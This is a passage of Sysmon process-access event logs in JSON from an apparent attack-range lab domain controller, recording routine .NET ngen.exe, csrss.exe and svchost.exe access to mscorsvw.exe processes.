C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010BFB30B00}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010BFB30B00}","TargetProcessId":"4332","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010BFB30B00}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010BFB30B00}","TargetProcessId":"4332","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010BFB30B00}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010BFB30B00}","TargetProcessId":"4332","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00109BB90C00}\r\nTargetProcessId: 3368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00109BB90C00}","TargetProcessId":"3368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00109BB90C00}\r\nTargetProcessId: 3368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00109BB90C00}","TargetProcessId":"3368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00109BB90C00}\r\nTargetProcessId: 3368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00109BB90C00}","TargetProcessId":"3368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C0110C00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C0110C00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C0110C00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C0110C00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 